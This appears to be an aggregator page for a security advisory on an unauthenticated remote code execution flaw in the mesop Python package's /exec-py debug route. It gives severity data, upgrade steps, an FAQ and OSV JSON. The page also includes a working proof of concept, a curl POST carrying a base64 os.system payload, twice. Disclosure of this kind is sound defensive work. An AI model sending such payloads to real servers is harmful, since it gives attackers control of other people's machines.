CVE-2026-33057: Mesop Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-gjgx-rvqr-6w6v
CVSS 9.8
CWE-94
Published
Advisory Summary

CVE-2026-33057 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Mesop libraries in the PyPI ecosystem. The issue involves mesop affected by unauthenticated remote code execution via test suite route /exec-py. Remediation is available by upgrading affected packages to version 1.2.3.

CVE-2026-33057 at a Glance

CVE Identifier CVE-2026-33057
GHSA Identifier GHSA-gjgx-rvqr-6w6v
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Mesop
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-33057

To remediate this vulnerability, upgrade all affected Mesop dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mesop fixed: 1.2.3
pip install mesop>=1.2.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show mesop

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-33057, inspect your installed packages using pip:

pip show mesop

Analyze the terminal output to locate any version of Mesop in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.2.3), your application is affected.

Note: The pip show mesop command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Mesop, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

#### Summary An explicit web endpoint inside the `ai/` testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights. #### Details The AI codebase package includes a lightweight debugging Flask server inside `ai/sandbox/wsgi_app.py`. The `/exec-py` route accepts base_64 encoded raw string payloads inside the `code` parameter natively evaluated by a basic `POST` web request. It saves it rapidly to the operating system logic path and injects it recursively using `execute_module(module_path...)`. ```python # ai/sandbox/wsgi_app.py @flask_app.route("/exec-py", methods=["POST"]) def exec_py_route(): code = base64.urlsafe_b64decode(request.form.get("code")) # ... code is blindly written to file and forcefully executed ``` #### PoC ```bash # Payload: # import os # os.system('echo "pwned by attacker" > /tmp/pwned.txt') # # Base64 string represents the identical payload block above: # aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ== curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==" # Validate exploitation target execution natively: # $ cat /tmp/pwned.txt # pwned by attacker ``` #### Impact This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

CVE-2026-33057 Affected Mesop Versions

1 component(s)
Fixed Versions:
1.2.3
Product / Package Ecosystem Affected Versions Fixed Version
mesop
PyPI
< 1.2.3
1.2.3

References

Frequently Asked Questions

What is CVE-2026-33057?
CVE-2026-33057 is a security vulnerability in Mesop involving Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Mesop versions are affected?
Affected versions include releases prior to 1.2.3 across affected packages: mesop.
What version fixes CVE-2026-33057?
Upgrading to 1.2.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mesop affected?
Yes, mesop is affected in releases prior to 1.2.3. Upgrade your dependency to 1.2.3 or later.
What is the CVSS score of CVE-2026-33057?
CVE-2026-33057 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-33057?
CVE-2026-33057 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check PyPI dependencies for CVE-2026-33057?
Run the dependency tree command: 'pip show mesop'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gjgx-rvqr-6w6v",
  "modified" : "2026-03-20T21:23:51Z",
  "published" : "2026-03-18T20:05:00Z",
  "aliases" : [ "CVE-2026-33057" ],
  "summary" : "Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py",
  "details" : "#### Summary\nAn explicit web endpoint inside the `ai/` testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.\n\n#### Details\nThe AI codebase package includes a lightweight debugging Flask server inside `ai/sandbox/wsgi_app.py`. The `/exec-py` route accepts base_64 encoded raw string payloads inside the `code` parameter natively evaluated by a basic `POST` web request. It saves it rapidly to the operating system logic path and injects it recursively using `execute_module(module_path...)`.\n\n```python\n# ai/sandbox/wsgi_app.py\n@flask_app.route(\"/exec-py\", methods=[\"POST\"])\ndef exec_py_route():\n  code = base64.urlsafe_b64decode(request.form.get(\"code\"))\n  # ... code is blindly written to file and forcefully executed\n```\n\n#### PoC\n```bash\n# Payload:\n# import os\n# os.system('echo \"pwned by attacker\" > /tmp/pwned.txt')\n# \n# Base64 string represents the identical payload block above: \n# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==\n\ncurl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==\"\n\n# Validate exploitation target execution natively:\n# $ cat /tmp/pwned.txt\n# pwned by attacker\n```\n\n#### Impact\nThis presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mesop"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.2.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.2.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mesop-dev/mesop/security/advisories/GHSA-gjgx-rvqr-6w6v"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33057"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mesop-dev/mesop/commit/825f55970c20686de3f28e2c66df4d74e9d4db47"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mesop-dev/mesop"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-18T20:05:00Z",
    "nvd_published_at" : "2026-03-20T08:16:11Z"
  }
}